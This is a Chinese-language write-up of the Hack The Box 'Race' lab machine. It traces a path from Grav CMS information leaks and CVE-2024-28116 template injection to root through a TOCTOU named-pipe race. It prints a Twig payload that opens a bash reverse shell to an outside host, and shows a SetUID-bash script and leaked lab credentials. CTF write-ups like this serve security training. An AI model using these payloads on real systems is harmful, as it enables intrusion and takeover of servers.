HTB Race靶机渗透实战:从Grav CMS漏洞到Root权限提升

本文详细记录了HTB Race靶机的完整渗透过程,从Grav CMS的phpSysInfo信息泄露到CVE-2024-28116 SSTI漏洞利用,再到恶意主题安装和TOCTOU时间竞争漏洞提权,最终获取root权限。

靶机信息

名称 Race
发布日期 2025年9月2日
操作系统 Linux
难度 困难 [40分]
创建者 jkr

侦察阶段

初始扫描

Nmap扫描发现两个开放端口:

  • SSH (22)
  • HTTP (80)
1
2
3
4
nmap -p- -vvv --min-rate 10000 10.129.234.211
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

网站分析 - TCP 80

技术栈识别

网站使用Grav CMS,通过Cookie grav-site-09f1269和页面页脚确认。网站重定向到/racers/目录。

目录爆破

使用feroxbuster发现/phpsysinfo端点,需要HTTP基本认证。

获取www-data权限

phpSysInfo信息泄露

使用默认凭证admin/admin登录phpSysInfo,在进程列表中发现cron备份作业包含密码: Wedobackupswithsecur3password5.Noonecanhackus!

Grav管理员访问

使用backup用户和上述密码登录Grav管理员面板(/racers/admin),backup用户权限有限,只能使用备份工具。

密码重置攻击

  1. 下载站点备份,分析用户账户文件
  2. 发现patrick用户有reset令牌但已过期
  3. 请求新密码重置,下载新备份获取有效令牌
  4. 通过重置流程将patrick密码改为已知密码

多种攻击路径

CVE-2024-28116利用

Grav CMS 1.7.43存在SSTI漏洞,通过Twig模板注入执行系统命令:

1
2
3
{% set arr = {'1':'system', '2':'foo'} %}
{{ var_dump(grav.twig.twig_vars['config'].set('system.twig.safe_functions', arr)) }}
{{ system('bash -c "bash -i >& /dev/tcp/10.10.14.2/443 0>&1"') }}

恶意主题安装

  1. 配置代理指向Burp
  2. 拦截主题安装请求,修改下载位置指向恶意主题
  3. 在主题文件中植入Webshell
  4. 激活主题获取反向shell

获取max权限

凭证发现

/usr/local/share/race-scripts/offsite-backup.sh中发现max用户凭证: max:ruxai0GaemaS1Rah

权限提升

使用发现的凭证通过SSH或su切换至max用户。

获取root权限

TOCTOU漏洞利用

分析发现cron通过secure-cron-runner.sh执行脚本,检查MD5哈希后运行。

攻击步骤:

  1. 删除原脚本offsite-backup.sh
  2. 创建同名命名管道:mkfifo offsite-backup.sh
  3. 等待cron执行,md5sum命令挂起
  4. 重命名管道:mv offsite-backup.sh pipe
  5. 创建恶意脚本:写入SetUID bash创建代码
  6. 向管道写入合法脚本内容通过哈希检查
  7. 执行恶意脚本创建SetUID bash
1
2
3
#!/bin/bash
cp /bin/bash /tmp/0xdf
chmod 6777 /tmp/0xdf

获取root shell

执行SetUID bash获取root权限:

1
/tmp/0xdf -p
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计